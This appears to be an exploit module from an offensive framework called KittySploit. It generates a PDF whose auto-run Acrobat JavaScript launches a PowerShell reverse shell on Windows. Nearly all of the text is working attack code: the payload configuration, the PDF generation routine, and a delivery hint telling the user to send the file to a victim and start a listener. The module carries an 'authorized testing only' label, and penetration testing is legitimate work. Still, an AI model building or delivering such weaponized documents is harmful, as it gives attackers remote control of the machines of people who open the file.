Adobe Acrobat JavaScript Reverse Shell PDF

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pathlib import Path
from typing import List

from kittysploit import *
from lib.pdf.mixins import PdfFileformatExploitMixin
from lib.pdf.rce import (
    build_acrobat_js_reverse_shell,
    create_acrobat_openaction_rce,
)


class Module(Exploit, PdfFileformatExploitMixin):
    __info__ = {
        "name": "Adobe Acrobat JavaScript Reverse Shell PDF",
        "description": (
            "Generate a PDF with Acrobat OpenAction JavaScript that launches a "
            "framework-generated reverse-shell payload (PowerShell by default). "
            "By default only the PDF is generated (disablePayloadHandler=true); "
            "set disablePayloadHandler false to listen immediately after generation. "
            "Requires Adobe Acrobat/Reader with JavaScript enabled on Windows. "
            "Authorized client-side testing only."
        ),
        "author": ["KittySploit Team"],
        "cve": [],
        "references": [
            "https://portswigger.net/research/portable-data-exfiltration",
        ],
        "tags": ["pdf", "acrobat", "javascript", "fileformat", "rce", "windows", "authorized-only"],
        "platform": Platform.WINDOWS,
        "arch": Arch.OTHER,
        "payload": {
            "default": "payloads/singles/cmd/windows/powershell_reverse_tcp",
            "arch": Arch.OTHER,
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.SINGLE,
        },
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 0,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths"],
            "cost": 1.0,
            "noise": 0.4,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": [],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [{"capability": "rce", "from_detail": ""}],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [],
            },
        },
    }

    MODULE_TITLE = "Acrobat JavaScript reverse shell PDF"
    OUTPUT_BASENAME = "acrobat_reverse_shell.pdf"

    def check(self):
        return {
            "vulnerable": True,
            "reason": "File-format exploit: delivers weaponized PDF for manual delivery",
            "confidence": "medium",
        }

    def _generate(self, output_path: Path) -> List[Path]:
        cmd = str(self.payload or "").strip()
        if not cmd:
            raise ValueError("No payload generated — set PAYLOAD and LHOST/LPORT first")
        js = build_acrobat_js_reverse_shell(cmd)
        create_acrobat_openaction_rce(output_path, js)
        return [output_path]

    def run(self):
        return self.run_pdf_fileformat(
            self._generate,
            delivery_hint=(
                "Deliver the PDF to a victim opening it in Adobe Acrobat/Reader "
                "(JavaScript enabled). Start a listener matching LHOST/LPORT before delivery."
            ),
        )